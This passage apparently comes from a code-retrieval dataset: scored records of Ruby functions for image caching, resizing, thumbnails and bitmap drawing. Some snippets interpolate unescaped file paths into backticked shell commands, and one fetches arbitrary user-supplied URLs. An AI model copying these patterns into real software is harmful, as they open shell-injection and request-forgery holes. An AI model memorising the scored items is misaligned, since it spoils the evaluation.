[height - 32, row_max * @line_h].max)\n end", "title": "" }, { "docid": "7f28c66572bccea9ff34965348ccb13f", "score": "0.54246277", "text": "def capture_size_before_cache(new_file) \n if model.image_width.nil? || model.image_height.nil?\n model.image_width, model.image_height = `identify -format \"%wx %h\" #{new_file.path}`.split(/x/).map { |dim| dim.to_i }\n end\n end", "title": "" }, { "docid": "f7ce69d21024ab744bd4ce6222013236", "score": "0.5375476", "text": "def capture_size_before_cache(new_file)\n if model.image_width.nil? || model.image_height.nil?\n model.image_width, model.image_height = `identify -format \"%wx %h\" #{new_file.path}`.split(/x/).map { |dim| dim.to_i }\n end\n end", "title": "" }, { "docid": "682f9a94f001ba06b939c5cfeb6dc46a", "score": "0.53228635", "text": "def normal_2k_bitmap(path)\n unless include?(path)\n bmp = Bitmap.new(path)\n @cache[path] = Bitmap.new(bmp.width*2, bmp.height*2)\n @cache[path].stretch_blt(@cache[path].rect, bmp, bmp.rect)\n bmp.dispose\n end\n @cache[path]\n end", "title": "" }, { "docid": "98a2ae4b7d8c6ef36bcc509e1d9af7cf", "score": "0.5293492", "text": "def cache\n return @cache if @cache\n @cache = OpenStruct.new\n @cache.file_name = Digest::MD5.hexdigest(text + (md_options[:css] || MagicDoor.defaults[:css])) + '.png'\n @cache.exists = File.exist?(File.join(destination_path, @cache.file_name))\n @cache\n end", "title": "" }, { "docid": "6431a456d809becf3a310a715afd1a7a", "score": "0.5286143", "text": "def get_floater_image\r\n # LODO cache this method...if expensive :P\r\n\t image_height = 350\r\n floater_height = image_height + 200\r\n\t floater_width = 1000\r\n \r\n image = BufferedImage.new(floater_width, floater_height, BufferedImage::TYPE_INT_RGB);\r\n \r\n g = image.createGraphics()\r\n # by default it's all black...I think.\r\n g.setColor( Color::WHITE )\r\n g.fillRect(0,0,floater_width,floater_height)\r\n unless @img\r\n p 'image not downloaded yet, perhaps? -- not drawing it...'\r\n return image\r\n end\r\n image_height = [@img.height, image_height].min # LODO am I getting full res images?\r\n g.setColor( Color::BLACK )\r\n g.setFont(Font.new(\"Lucida Bright\", Font::ITALIC, 30))\r\n g.drawString(@image_title_prefix, 30, 60)\r\n g.drawString(@image_title, 30, image_height+120)\r\n\t \r\n g.drawImage(@img, 10, 90, @img.width, image_height, nil) # x, y, width, height, observer LODO does this stretch things weirdly?\r\n # now the text around the image\r\n # switch every 20 seconds or so, eh?\r\n idx = (Time.now.to_i/3) % @stats.length\r\n if Time.now - @start < 5\r\n # force beginning 0 if we're at the start of a run\r\n idx = 0\r\n end\r\n g.drawString(@name, @img.width + 30, 130)\r\n g.drawString(@stats[idx], @img.width + 30, 180)\r\n g.dispose\r\n image\r\n end", "title": "" }, { "docid": "2f334b0356522412bf6ebc4a830878c3", "score": "0.52795935", "text": "def create_new_image(width:, height:)\n tempfile = Tempfile.new(['wordcloud', '.png'])\n MiniMagick::Tool::Convert.new do |new_image|\n new_image.size \"#{width}x#{height}\"\n new_image << 'xc:white'\n new_image << tempfile.path\n end\n\n # Don't GC these until this class is destroyed\n @tempfiles ||= []\n @tempfiles << tempfile\n\n MiniMagick::Image.new(tempfile.path)\n end", "title": "" }, { "docid": "7ddf65b26855d9538580511d17e48312", "score": "0.5268513", "text": "def create_image_1d( format, width, options = {} )\n return OpenCL.create_image_1d( self, format, width, options )\n end", "title": "" }, { "docid": "20a44414cbc9ef8cad40cbcf5c2c9555", "score": "0.52491", "text": "def create_achievement_image\n @emblem = Sprite.new\n @emblem.bitmap = Cache.picture(@achievement.icon)\n @emblem.ox = @emblem.width / 2\n @emblem.oy = @emblem.height / 2\n setup_emblem\n end", "title": "" }, { "docid": "392ed83fa75d1edf708de78898ea2df4", "score": "0.524553", "text": "def generate_image\n png_image = ChunkyPNG::Image.new(@image_size,\n @image_size,\n ChunkyPNG::Color.rgb(@background[0],\n @background[1],\n @background[2])\n )\n @image = ChunkyPNG::Image.new(@size,\n @size,\n ChunkyPNG::Color.rgb(@background[0],\n @background[1],\n @background[2])\n )\n @square_array.each_key do |line_key|\n line_value = @square_array[line_key]\n line_value.each_index do |col_key|\n col_value = line_value[col_key]\n if col_value\n png_image.rect(\n col_key * @pixel_ratio,\n line_key * @pixel_ratio,\n (col_key + 1) * @pixel_ratio,\n (line_key + 1) * @pixel_ratio,\n ChunkyPNG::Color::TRANSPARENT,\n ChunkyPNG::Color.rgb(@color[0], @color[1], @color[2])\n )\n end\n end\n end\n @image.compose!(png_image, @pixel_ratio / 2, @pixel_ratio / 2)\n end", "title": "" }, { "docid": "b246f8db853b7e8276597c807119da92", "score": "0.5233468", "text": "def make_pre_transition_bitmap\n bmp_width = (@viewport.rect.width / 8.0).ceil\n bmp_height = (@viewport.rect.height / 8.0).ceil\n @pix_to_draw = (bmp_width * bmp_height / 160.0).ceil\n @image = Image.new(bmp_width, bmp_height)\n @x = 0\n @y = 0\n @dir = 2\n @color = Color.new(0, 0, 0, 255)\n return Bitmap.new(bmp_width, bmp_height)\n end", "title": "" }, { "docid": "6b88ec0217d6a31bca9dc447b1665f6d", "score": "0.5192659", "text": "def get_resized_image\r\n if params[:url].present?\r\n random_string = SecureRandom.urlsafe_base64(32)\r\n begin\r\n if params[:width].present? && params[:height].present? && params[:width].to_i < 1280 && params[:height].to_i < 1280\r\n image = Dragonfly.app.fetch_url(params[:url]).thumb(\"#{params[:width]}x#{params[:height]}#\")\r\n else\r\n image = Dragonfly.app.fetch_url(params[:url])\r\n end\r\n if image.image.present?\r\n ct = image.format\r\n expires_in(2.days, public: true)\r\n send_data(image, filename: random_string, type: \"image/#{ct}\", disposition: 'inline')\r\n else\r\n # This block does not execute mostly...\r\n image = Dragonfly.app.fetch_url(Rails.application.config.default_image)\r\n expires_in(1.week, public: true)\r\n send_data(image, filename: random_string, type: 'image/jpeg', disposition: 'inline')\r\n end\r\n rescue\r\n begin\r\n image = Dragonfly.app.fetch_url(Rails.application.config.default_image)\r\n expires_in(1.week, public: true)\r\n send_data(image, filename: random_string, type: 'image/jpeg', disposition: 'inline')\r\n rescue # in case cdn is down\r\n render json: ErrorResponse.new(\r\n code: 400,message: 'Invalid Image Url'\r\n ), adapter: :json, status: :bad_request\r\n end\r\n end\r\n else\r\n render json: ErrorResponse.new(\r\n code: 404,message: 'Image URL or dimensions not Found'\r\n ), adapter: :json, status: :not_found\r\n end\r\n end", "title": "" }, { "docid": "28ca0a38ab9f773ebc73a737fc074888", "score": "0.5168195", "text": "def to_image(*args)\n cache.to_image *args\n end", "title": "" }, { "docid": "7b5b1a96872df2f894d02e084fda9018", "score": "0.5164809", "text": "def getimage(width, height, use_alpha = true)\n bpp = use_alpha ? 4 : 3\n inquiry(uint8: width * height * bpp) do |bitmap|\n super(width, height, (use_alpha ? 1 : 0), bitmap)\n end\n end", "title": "" }, { "docid": "332058f5365d3a74807162eccefb5f57", "score": "0.515872", "text": "def test_unneeded_widths_check\n GeneratedImage.unstub(:new)\n GeneratedImage.stubs(new: gstub(600, exists: true))\n source_image.expects(:width).never\n\n tested.to_s\n end", "title": "" }, { "docid": "3ceaea17c0903bbc0fa4eac3f562c3d8", "score": "0.5154215", "text": "def get_optimized_image(width, height, opts)\n if (!extension || extension.length == 0)\n fix_image_extension\n end\n\n opts = opts.merge(raise_on_error: true)\n begin\n OptimizedImage.create_for(self, width, height, opts)\n rescue\n opts = opts.merge(raise_on_error: false)\n if fix_image_extension\n OptimizedImage.create_for(self, width, height, opts)\n else\n nil\n end\n end\n end", "title": "" }, { "docid": "ba0dd9b24dc6aeadb54781aa7a69c1a5", "score": "0.5135682", "text": "def cache_image(key, path)\n log.debug \"Caching image for #{key} with path: #{path}\"\n log.warn \"Skipping duplicate image for #{key} with path: #{path}\" and return if @images[key]\n @images[key] = Image.new(strip_jar_path(path))\n end", "title": "" }, { "docid": "3ed8a963c7574033d317e32727886b11", "score": "0.51269746", "text": "def makeNewImage(rows,cols,bitsPerPix,engine)\r\n @bitsPerPix = bitsPerPix\r\n if not ImageCreator.respond_to? :createImage\r\n engine.error(\"ImageCreator has not implemented the createImage method.\")\r\n elsif ImageCreator.method(:createImage).arity != 4\r\n engine.error(\"ImageCreator's createImage method must be defined to take 4 parameters.\")\r\n end\r\n image = ImageCreator.createImage(rows,cols,bitsPerPix,engine)\r\n image\r\n end", "title": "" }, { "docid": "515aa6efc55d5f234bbf34aa34253c88", "score": "0.51210827", "text": "def create_image\n @image = ChunkyPNG::Image.new(SQUARE_SIZE, SQUARE_SIZE,\n ChunkyPNG::Color.rgb(0, 0, 0))\n @matrix.each_with_index do |color, i|\n square = [i / 5, i % 5]\n draw_square(square, color)\n end\n end", "title": "" }, { "docid": "bb861c82d69efb3b1bd1ea0862a2ab2b", "score": "0.5101729", "text": "def create_pixmap (*args)\n create_pixmap!(*args).abandon\n end", "title": "" }, { "docid": "d89891ac25ad913ce76e323c4f8db4df", "score": "0.50902516", "text": "def strict_resize image, w, h\n image.resize \"#{ w }x#{ h }!\"\n image\n end", "title": "" }, { "docid": "c7a00f20b604c9be4e121e8eb6974523", "score": "0.5089902", "text": "def create_image_with_pixel(pixels, image)\n new_img = ChunkyPNG::Image.new(\"#{image.dimension.width}\".to_i,\"#{image.dimension.height}\".to_i, ChunkyPNG::Color::TRANSPARENT)\n\n pixel_index = 0\n\n # Loop through every pixel. Each pixel has an x and y coordinate.\n (0..image.dimension.width-1).each do |x|\n (0..image.dimension.height-1).each do |y|\n new_img[x,y] = ChunkyPNG::Color.rgb(pixels[pixel_index][0], pixels[pixel_index][1], pixels[pixel_index][2])\n pixel_index += 1 \n end\n end\n return new_img\nend", "title": "" }, { "docid": "24ab0531ae7eec838f8ec58c88390dd0", "score": "0.50884396", "text": "def generate_image\n pImage = ChunkyPNG::Image.new(@image_size, @image_size, ChunkyPNG::Color::rgb(@background[0], @background[1], @background[2]))\n @image = ChunkyPNG::Image.new(@size, @size, ChunkyPNG::Color::rgb(@background[0], @background[1], @background[2]))\n @square_array.each_key { |lineKey|\n lineValue = @square_array[lineKey]\n lineValue.each_index { |colKey|\n colValue = lineValue[colKey]\n if(colValue)\n pImage.rect(\n colKey * @pixel_ratio,\n lineKey * @pixel_ratio,\n (colKey + 1) * @pixel_ratio,\n (lineKey + 1) * @pixel_ratio,\n ChunkyPNG::Color::TRANSPARENT,\n ChunkyPNG::Color.rgb(@color[0], @color[1], @color[2])\n )\n end\n }\n }\n @image.compose!(pImage, @pixel_ratio / 2, @pixel_ratio / 2)\n end", "title": "" }, { "docid": "3dbd4291dcf2bb365254a91c566f3841", "score": "0.5080365", "text": "def create_image image, image_size\n dir = load_config['data_dir']\n redis_key = \"crop_square:#{image}:#{image_size.to_i}\"\n\n data = redis.get redis_key\n\n if data\n # nop\n elsif image_size\n file = crop_square(\"#{dir}/image/#{image}.jpg\", 'jpg')\n data = convert(file, 'jpg', image_size, image_size, false)\n File.unlink(file)\n\n redis.set redis_key, data\n else\n file = File.open(\"#{dir}/image/#{image}.jpg\", 'r+b')\n data = file.read\n file.close\n\n redis.set redis_key, data\n end\n\n return data\n end", "title": "" }, { "docid": "9dc9a57b152fc7af8a0c0539c07e0fc0", "score": "0.507877", "text": "def build_image(width=20, height=10, hex_color=\"000000\", hex_offset=\"100\", x_multiplier=10, y_multiplier=100, orientation=\"horiz\") # Build an image up from one pixel\n case orientation\n when \"horiz\"\n pixelmax=width\n when \"verti\"\n pixelmax=height\n end\n\n one_pixel = Qt::Image.new(1,1,4) # third arg is format (see Qt Image ref)\n one_pixel.setPixel( 0, 0, 0 ) # third arg is color, decimal equiv of hex\n \n image_temp=one_pixel.scaled(width, height )\n \n # Get decimacl from hex (required for Qt::Image.setPixel \n hex_color.gsub!('#', '')\n hex_offset.gsub!('#', '')\n color=hex_color.hex\n offset=hex_offset.hex\n \n if $build_diagnostics > 0\n print \"***** Building image \", width, \",\", height, \"| color: \", color.to_s(16), \"(\", color, \"), offset: \", offset.to_s(16), \", pixelmax: \", pixelmax, \"\\n\"\n end\n\n p=0\n while p < pixelmax\n if $build_diagnostics > 1\n print \"...building image \", width, \",\", height, \"| color: \", color.to_s(16), \"(\", color, \"), offset: \", offset.to_s(16), \", pixelmax: \", pixelmax, \"\\n\"\n end\n image_temp.setPixel( p, 0, color ) if pixelmax==width\n image_temp.setPixel( 0, p, color ) if pixelmax==height\n if pixelmax==width\n (0..height-1).each { |pixel_y| image_temp.setPixel( p, pixel_y, color ) }\n elsif pixelmax==height\n (0..width-1).each { |pixel_x| image_temp.setPixel( pixel_x, p, color ) }\n end\n color+=offset\n p+=1\n end\n \n if $build_diagnostics > 0\n print \"***** Built image \", width, \",\", height, \"| color: \", color.to_s(16), \"(\", color, \"), offset: \", offset.to_s(16), \", pixelmax: \", pixelmax, \"\\n\"\n end\n\n built_image = image_temp.scaled( ( width * x_multiplier ), ( height * y_multiplier ) ) \n\n return built_image \n\n end", "title": "" }, { "docid": "95a65fb98a25164ca005b9b66a2ab8ba", "score": "0.5068757", "text": "def check_pix_from_cache(key, size)\n data = @map[key]\n if size == SMALL_SIZE\n if data.small_pix.nil?\n Trace.imc('Image::Cache check pix load small from cache'.brown)\n data.small_pix = GdkPixbuf::Pixbuf.new(file: Cfg.covers_dir+data.file_name, width: size, height: size)\n end\n return data.small_pix\n else\n if data.large_pix.nil?\n Trace.imc('Image::Cache check pix load large from cache'.brown)\n data.large_pix = GdkPixbuf::Pixbuf.new(file: Cfg.covers_dir+data.file_name, width: size, height: size)\n end\n return data.large_pix\n end\n end", "title": "" }, { "docid": "35a3d78b377bdc1afc362fc937662260", "score": "0.5065455", "text": "def capture_size_before_cache(new_file)\n return unless model\n return unless new_file.path\n if model.respond_to?(setter(:width)) && model.respond_to?(setter(:height))\n w, h = `identify -format \"%wx %h\" #{new_file.path.shellescape}`.split(/x/).map { |dim| dim.to_i }\n model.send(setter(:width), w)\n model.send(setter(:height), h)\n end\n end", "title": "" }, { "docid": "12a7564fb2e6d52986d2972b4135a7c4", "score": "0.50572807", "text": "def cache_images!\n if thumbnails.empty?\n update_attribute(:default_thumbnail_id, nil)\n update_attribute(:default_image_id, nil)\n else\n update_attribute(:default_thumbnail_id, thumbnails.first.id)\n update_attribute(:default_image_id, thumbnails.first.twin.id)\n end\n end", "title": "" }, { "docid": "e9e66b26c1cc4835e62af0400616cc62", "score": "0.50512433", "text": "def make_image_bmp(filename, w, h)\n case filename \n when String then Cache.picture(filename) # Filename\n when Integer then get_enlarged_icon([w, h].min, filename) # icon index\n when Array # [icon index, hue]\n filename = filename.select {|num| num.is_a?(Integer) }\n filename.slice!(2, filename.size - 2) if filename.size > 2\n return if filename.empty?\n get_enlarged_icon([w, h].min, *filename)\n else # empty\n Cache.picture(\"\")\n end\n end", "title": "" }, { "docid": "6d88739bc0eb4907f25f6491bae6f2b9", "score": "0.50473267", "text": "def to_image(width, height)\n image = Image.new_blank(width, height)\n self.render(image)\n return image\n end", "title": "" }, { "docid": "5113a4f02c5b845b7451cf9768d187bd", "score": "0.5044636", "text": "def generate_pixels\n @pixels = Array.new(@height) { Array.new(@width) { 'O' } }\n end", "title": "" }, { "docid": "f312a93215f2140de69ea69ba7b16ee5", "score": "0.50355905", "text": "def sequenced_image_from path, width, height, frequency = 10, &block\n @image_sequence_started = Time.now\n self.image = Gosu::Image::load_tiles self.window, File.join(Resources.root, path), width, height, false\n end", "title": "" }, { "docid": "fa2d1020c4df02691c2f47da88db42a3", "score": "0.4986501", "text": "def create_image_file\n cmd = \"dd if=/dev/zero status=noxfer of=\" + @image_filename +\n \" bs=1M count=1 seek=\" + (@mb_image_size-1).to_s\n execute( cmd )\n end", "title": "" }, { "docid": "7dc8638da79602fa26e9b2406b7954cb", "score": "0.4986338", "text": "def draw_item_image\n return unless @picture\n bitmap = Cache.picture(\"sandwich\")\n rect = Rect.new(0, 0, 32, 32)\n dest_rect = Rect.new(12, 12, 64, 72)\n contents.stretch_blt(dest_rect, bitmap, rect) \n bitmap.dispose\n end", "title": "" }, { "docid": "7391ca9aaef855a4132b0f98514ac747", "score": "0.49734458", "text": "def seed_image; image; end", "title": "" }, { "docid": "ab37b578cb381751604f8a75d58b8b6a", "score": "0.4972829", "text": "def create_bitmap_battler_pose\n return false if !@battler.battler_pose[0]\n @cache_bitmap = Cache.battler(battler_pose_name, @battler.battler_hue)\n @bp_cw = @cache_bitmap.width / 4\n @bp_ch = @cache_bitmap.height\n self.bitmap.dispose if self.bitmap != nil\n self.bitmap = Bitmap.new(@bp_cw,@bp_ch)\n end", "title": "" }, { "docid": "3602623fe4414419d9e12fb01aeb9857", "score": "0.49482363", "text": "def generate!(image_path)\n Generator.new(image_path).generate!\n end", "title": "" }, { "docid": "fdbb504159a2c0616506b5379565ac03", "score": "0.494746", "text": "def create_image(scale)\n # find the image size\n left, right, top, bottom = extreme_points\n extra = TOY_LINE_SIZE * IMAGE_SCALE\n size = CGSizeMake((right - left + extra) * scale, (bottom - top + extra) * scale)\n # make the image bitmap and draw all of the parts\n image_bitmap(size, scale)\n end", "title": "" }, { "docid": "921ef92911920d95f5f9f69ef7b76a05", "score": "0.4933912", "text": "def optimize_image!(original)\n original = Path.convert(original)\n return unless (result = optimize_image(original))\n\n result.replace(original)\n OptimizedPath.new(original, result.original_size)\n end", "title": "" }, { "docid": "0fd1aa494ae6b095e34290251fc4adda", "score": "0.49309582", "text": "def thumbnail\n\n image = Rails.cache.fetch(\"/image_thumbnail/#{params[:id]}\", :expires_in => 10.minutes) do\n\n puts \"miss!\"\n user_client.thumbnail(params[:id], min_height: 256, min_width: 256)\n end\n\n send_data image, :type => 'image/png', :disposition => 'inline'\n end", "title": "" }, { "docid": "5249e008b8aa318750ff2b795f656748", "score": "0.4930025", "text": "def initialize(width, height, initial = ChunkyPNG::Color::TRANSPARENT)\n\n @width, @height = width, height\n\n if initial.kind_of?(Integer)\n @pixels = Array.new(width * height, initial)\n elsif initial.kind_of?(Array) && initial.size == width * height\n @pixels = initial\n else\n raise ChunkyPNG::ExpectationFailed, \"Cannot use this value as initial canvas: #{initial.inspect}!\"\n end\n end", "title": "" }, { "docid": "bff4db646f01f7c3f54cc798f3d6865e", "score": "0.49279326", "text": "def create_bitmap\n if self.bitmap.nil?\n bitmap = Bitmap.new(70, 28)\n bitmap.font.color = Color::WHITE\n bitmap.font.shadow = false\n else\n bitmap = self.bitmap\n bitmap.clear\n end\n w = bitmap.width - self.padding * 2\n h = bitmap.height - self.padding * 2\n bitmap.fill_rect(self.padding, self.padding, w, h, Color.new(0, 0, 0, 170))\n bitmap.blur\n bitmap\n end", "title": "" }, { "docid": "22f2d8be7ba2028b93b88deaaf87797f", "score": "0.4927113", "text": "def createBitmapFromFile(iFileName)\n rBitmap, lError = getBitmapFromURL(iFileName)\n\n if (rBitmap == nil)\n log_err \"Error while getting bitmap from #{iFileName}: #{lError}\"\n else\n lNewWidth = rBitmap.width\n if (rBitmap.width > MAX_ICON_WIDTH)\n lNewWidth = MAX_ICON_WIDTH\n end\n lNewHeight = rBitmap.height\n if (rBitmap.height > MAX_ICON_HEIGHT)\n lNewHeight = MAX_ICON_HEIGHT\n end\n if ((rBitmap.width > lNewWidth) or\n (rBitmap.height > lNewHeight))\n # We have to resize the bitmap to lNewWidth/lNewHeight\n rBitmap = Wx::Bitmap.from_image(rBitmap.convert_to_image.scale(lNewWidth, lNewHeight))\n end\n end\n\n return rBitmap\n end", "title": "" }, { "docid": "c5d07736af5eef9b1d9bed7add3862c0", "score": "0.4923395", "text": "def dup_src\n ImageServicesFactory.make_image(from_java_bytes)\n end", "title": "" }, { "docid": "85972523ab2db7bd787a76999abe3b6a", "score": "0.491386", "text": "def thumb(w_x_h, quality: 82, immediate: false, force: false, x: nil, y: nil, override_test_behaviour: false)\n fail_for_non_images\n return thumb_in_test_env(w_x_h, quality:) if Rails.env.test? && !override_test_behaviour\n\n if !force && thumbnail_sizes[w_x_h] && thumbnail_sizes[w_x_h][:uid]\n hash = thumbnail_sizes[w_x_h]\n\n if hash[:private]\n hash[:url] = Dragonfly.app.datastore.url_for(hash[:uid], expires: 1.hour.from_now)\n\n if hash[:webp_url]\n hash[:webp_url] = Dragonfly.app.datastore.url_for(hash[:webp_uid], expires: 1.hour.from_now)\n end\n end\n\n OpenStruct.new(hash)\n else\n if svg?\n # private svgs won't work, but that should rarely be the case\n url = file.remote_url\n width, height = get_svg_dimensions(w_x_h)\n else\n width, height = w_x_h.split(\"x\").map(&:to_i)\n\n if immediate || self.class.immediate_thumbnails\n image = Folio::GenerateThumbnailJob.perform_now(self, w_x_h, quality, force:, x:, y:)\n return OpenStruct.new(image.thumbnail_sizes[w_x_h])\n else\n if thumbnail_sizes[w_x_h] && thumbnail_sizes[w_x_h][:started_generating_at] && thumbnail_sizes[w_x_h][:started_generating_at] > 5.minutes.ago\n return OpenStruct.new(thumbnail_sizes[w_x_h])\n else\n url = temporary_url(w_x_h)\n\n response = self.reload.with_lock do\n if !force && thumbnail_sizes[w_x_h] && thumbnail_sizes[w_x_h][:uid]\n # already added via a parallel process\n OpenStruct.new(thumbnail_sizes[w_x_h])\n else\n update(thumbnail_sizes: thumbnail_sizes.merge(w_x_h => {\n uid: nil,\n signature: nil,\n x: nil,\n y: nil,\n url:,\n width:,\n height:,\n quality:,\n started_generating_at: Time.current,\n temporary_url: url,\n }))\n\n nil\n end\n end\n\n return response if response\n\n Folio::GenerateThumbnailJob.perform_later(self, w_x_h, quality, force:, x:, y:)\n end\n end\n end\n\n OpenStruct.new(\n uid: nil,\n signature: nil,\n url:,\n width:,\n height:,\n x: nil,\n y: nil,\n quality:\n )\n end\n end", "title": "" }, { "docid": "27a65afd0928798d235ef0b97a752903", "score": "0.49132562", "text": "def createBitmap(name)\n return Wx::Bitmap.new(Wx::Image.new(File.expand_path(\"res/img/\" + name)))\n end", "title": "" }, { "docid": "628b983840753d9dc76dfdefa2b2883e", "score": "0.4908141", "text": "def mk_thumb(f_cbz, auto_gen = false)\n\tunless auto_gen\n\t\t# holds the last time the open_cbz is called\n\t\t# to pause the Thumbnail Generator thread\n\t\t$open_cbz_ltime = Time.now\n\tend\n\n\tquality = 60 #80\n\twidth = 220 #320\n\theight = 0\n\tpage = 1\n\n\tf = $settings.cache_path + '/' + File.basename( f_cbz.delete('ÿ') ).gsub('.cbz','.jpeg') # utf8-mac puts ÿ in filename, need to remove first for cross os support\n\n\tif File.exists?( f )\n\t\tif File.size( f ) == 0\n\t\t\tFile.delete( f )\n\t\telse\n\t\t\tif auto_gen\n\t\t\t\t# no need to return data if this is called from auto thumbnail worker\n\t\t\t\treturn\n\t\t\telse\n\t\t\t\t# return file if it exists\n\t\t\t\tputs \"thumbnail found. #{f}\" if $debug\n\t\t\t\treturn File.binread( f )\n\t\t\tend\n\t\tend\n\tend\n\n\tputs \"thumbnail generated. #{f_cbz}\" if $debug\n\timage = open_cbz( f_cbz, page )\n\timage = img_resize(image, width, height, { :quality => quality, :format => :jpeg })\n\n\tbegin\n\t\t# store image to cache dir\n\t\tFileUtils.mkdir_p( File.dirname( f ) ) if ! Dir.exists?( File.dirname( f ) )\n\t\tFile.binwrite( f, image )\n\trescue => errmsg\n\t\tputs \"\\nthumbnail storage failed: #{f} >> #{errmsg} … retrying\\n\"\n\t\tretry\n\tend\n\n\treturn image\nend", "title": "" }, { "docid": "a3a28776aa648c100204a702c9a93800", "score": "0.48914889", "text": "def create_image\n\t\t\tif @max_width\n\t\t\t\t@image = Gosu::Image.from_text($window, @text, @font, @size, @line_spacing, @max_width, @align)\n\t\t\telse\n\t\t\t\t@image = Gosu::Image.from_text($window, @text, @font, @size)\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "6e74f39847047f30e804758248d561ee", "score": "0.48913547", "text": "def initialize(pixels:, width:, height:)\n @pixels = pixels\n @width = width\n @height = height\n\n @pixels_per_layer = width * height\n @layers = []\n @num_layers = pixels.size / @pixels_per_layer\n\n generate_layers!\n generate_image!\n end", "title": "" }, { "docid": "78db938f7b9bac7b3a3befbc0972ecf1", "score": "0.4883052", "text": "def generate_thumbnail path, img\n img = img.resize_to_fit 200,200\n img.write path\n end", "title": "" }, { "docid": "46e2ff334a47e96ec52a45b4d032dbd0", "score": "0.48708034", "text": "def reduce!(width, height)\n image.geometry \"#{width}x#{height}>!\"\n end", "title": "" }, { "docid": "75d033a940c185ebf2c553af4e8ae084", "score": "0.48680082", "text": "def tile_size\n 256\n end", "title": "" }, { "docid": "fbfd5bdd24d7bdffbe8249d453619113", "score": "0.48529106", "text": "def create_image(address)\n image = Image.create()\n image.picture = File.open(File.join(address)) #\"allseating/bin/chairs/textures/Series82_0_19/grey_sm.png\"\n image.save!\n return image\nend", "title": "" }, { "docid": "2923147611cb3af18e36874dc279766e", "score": "0.48467895", "text": "def create_bitmap_from_sprite_sheet\n self.bitmap = Cache.character(@sheet_data.name)\n sign = @sheet_data.name[/^[\\!\\$]./]\n if sign && sign.include?('$')\n @cw = bitmap.width / 3\n @ch = bitmap.height / 4\n else\n @cw = bitmap.width / 12\n @ch = bitmap.height / 8\n end\n @default = false\n end", "title": "" }, { "docid": "8de4f32d31d94f282b0c025bc827f5ad", "score": "0.48336768", "text": "def candidate_images_cached\n Rails.cache.fetch(\"#{obfuscated_stock_reference}\", expires_in: 20.minutes) do\n candidate_images\n end\n end", "title": "" }, { "docid": "4f3320a2ac2925b80729b9ebfa7afa50", "score": "0.48332492", "text": "def createBalloonIcon(width, height)\n\n balloonIcon = Image.new(path: File.join(File.dirname(__FILE__), \"../../data/images/balloon.png\"))\n balloonIcon.width = width\n balloonIcon.height = height\n\n return balloonIcon\n\nend", "title": "" }, { "docid": "24ae12cd51b3767bb90b163df758c2c9", "score": "0.48327616", "text": "def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # Add 100 bytes for the encoder to have some room\n space += 100\n\n # Make room for the maximum possible URL length\n space += 256\n\n # The final estimated size\n space\n end", "title": "" }, { "docid": "cdbbe61a00509336ece621dffe460b8b", "score": "0.4828072", "text": "def constitute(idata=@data)\n coef = Magick::QuantumRange.to_f / 255.to_f \n #GC.disable\n img = Magick::Image.constitute(@width, @height, \"I\", idata.map{|pix| (pix*coef).to_i})\n #GC.enable\n img\n end", "title": "" }, { "docid": "ab8c13341d2ad94aec097ba7f200104d", "score": "0.48235792", "text": "def dimensions(uri=self['src'])\n cached uri do\n begin\n Timeout::timeout(Rack::ImageSize::TIMEOUT) do\n begin\n open(uri.to_s, 'rb') do |image|\n # QUESTION: Should we sanitize this? If the path comes from\n # user input then it could open an exploit. But that is not\n # the common case. So perhaps the site should just do width\n # and height itself if the image comes from user input.\n specs = `#{Rack::ImageSize::IDENTIFY_COMMAND} #{image.to_tempfile.path}`\n specs.split(/\\s+/, 4)[2].split('x').collect(&:to_i) if $? == 0\n end\n rescue OpenURI::HTTPError\n $stderr.puts \"Failed to load #{uri}\"\n nil\n end\n end\n rescue Timeout::Error\n $stderr.puts \"Failure to load #{uri}\"\n nil\n end\n end\n end", "title": "" }, { "docid": "a186f64db755049d076bdbe224532ce8", "score": "0.48234087", "text": "def bit_image_repeat\n Kernel.raise NotImplementedError\n end", "title": "" }, { "docid": "6c1ad8fb33cb85de5ed9ee18f2347caf", "score": "0.48128673", "text": "def resize_to_fill(new_width, new_height=nil)\n new_height ||= new_width\n local_image = FFI::GMagick::Image.new(@wand)\n\n if new_width != local_image.width || new_height != local_image.height\n scale = [new_width/local_image.width.to_f, new_height/local_image.height.to_f].max\n local_image.resize(scale*width+0.5, scale*height+0.5)\n end\n\n if new_width != local_image.width || new_height != local_image.height\n local_image.crop(new_width, new_height)\n end\n\n return local_image\n end", "title": "" }, { "docid": "712411c0bfe3aba5c86a477e073ebcc4", "score": "0.48120645", "text": "def create_image_2d( format, width, height, options = {} )\n return OpenCL.create_image_2d( self, format, width, height, options )\n end", "title": "" }, { "docid": "4763cc5a28e732e1fd54ce6eae41a3e6", "score": "0.4793574", "text": "def image_from_cache\n unless @@cache.dig(@type, @color)\n @@cache[@type] ||= {}\n body_image = get_image(\"#{GAME_ROOT_PATH}/assets/vehicles/#{type}_body.png\")\n overlay_image = get_image(\"#{GAME_ROOT_PATH}/assets/vehicles/#{type}_overlay.png\")\n\n image = Gosu.render(body_image.width, body_image.height, retro: true) do\n body_image.draw(0, 0, 0, 1, 1, @color)\n overlay_image.draw(0, 0, 1)\n end\n @@cache[@type][@color] = image\n end\n\n return @@cache.dig(@type, @color)\n end", "title": "" }, { "docid": "8e28439eaaa0d28e98771a1d256d140c", "score": "0.479335", "text": "def cache_dynamic_image\n\t\tif DynamicImage.page_caching\n\t\t\tcache_setting = ActionController::Base.perform_caching\n\t\t\tActionController::Base.perform_caching = true\n\t\t\tcache_page\n\t\t\tActionController::Base.perform_caching = cache_setting\n\t\tend\n\tend", "title": "" }, { "docid": "572b7e262d2fb2d4e75cd14ca5ced072", "score": "0.47806877", "text": "def thumbnail\n\n image = Rails.cache.fetch(\"/image_thumbnail/#{params[:id]}\", :expires_in => 10.minutes) do\n puts \"miss!\"\n user_client.thumbnail(params[:id], min_height: 256, min_width: 256)\n end\n\n send_data image, :type => 'image/png', :disposition => 'inline'\n end", "title": "" }, { "docid": "ef11af4a30d269b5d8ea86656b5fb19f", "score": "0.47800508", "text": "def size(width,height)\n @surface = Cairo::ImageSurface.new(width,height)\n @canvas = Cairo::Context.new(@surface)\n background(1,1,1,1)\n no_stroke\n fill_color(0,0,0,1)\nend", "title": "" }, { "docid": "5beb073916949e05b54751a4a840b866", "score": "0.47757548", "text": "def generate_feed_image\n return self.image if self.image\n\n uri = URI.parse(self.url)\n host = uri.host.split(\".\").last(2).join(\".\")\n faviconurl = WWW::Favicon.new.find \"#{uri.scheme}://#{host}\"\n favicon = MiniMagick::Image.open(faviconurl)\n sizes = favicon[\"%w,\"].split(\",\").collect { 